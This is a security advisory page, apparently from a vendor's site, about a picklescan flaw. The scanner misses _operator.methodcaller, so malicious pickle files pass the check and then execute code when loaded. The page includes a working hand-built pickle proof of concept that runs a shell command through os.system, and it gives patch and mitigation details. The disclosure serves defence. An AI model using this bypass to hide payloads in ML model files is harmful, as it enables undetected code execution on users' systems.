GHSA-955r-x9j8-7rhh — picklescan
Fix: mmaitre314/picklescan@f2dea43GHSA-955r-x9j8-7rhh is a remote code execution vulnerability in picklescan. A fix is available for picklescan — see the affected versions and patch details below.
Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-955r-x9j8-7rhh.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Picklescan uses _operator.methodcaller, which is a built-in python library function to execute remote pickle files.
Details
The attack payload executes in the following steps:
- First, the attacker crafts the payload by calling to _operator.methodcaller function in reduce method
- Then when after the victim after checks whether or not the pickle file is safe by using Picklescan library and the library doesn't dectect any dangerous functions, pickle.load() loads this malicious pickle file, thus lead to remote code execution.
PoC
import pickle
import pickletools
opcode2 = b'''cbuiltins
__import__
(Vos
tRp0
0c_operator
methodcaller
(Vsystem
Vecho "pwned by _operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode2)
pickle.loads(opcode2)
This PoC can't be easily create by pickle.dumps, so it was manually built.
Impact
Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Report by
Pinji Chen ([email protected]) from NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu ([email protected]).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.34pip install --upgrade 'picklescan==0.0.34' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update picklescan to 0.0.34 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-955r-x9j8-7rhh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-955r-x9j8-7rhh can be triaged on real exposure rather than presence alone.
Tailored to GHSA-955r-x9j8-7rhh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-955r-x9j8-7rhh in your dependencies?
O3 Security finds GHSA-955r-x9j8-7rhh across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.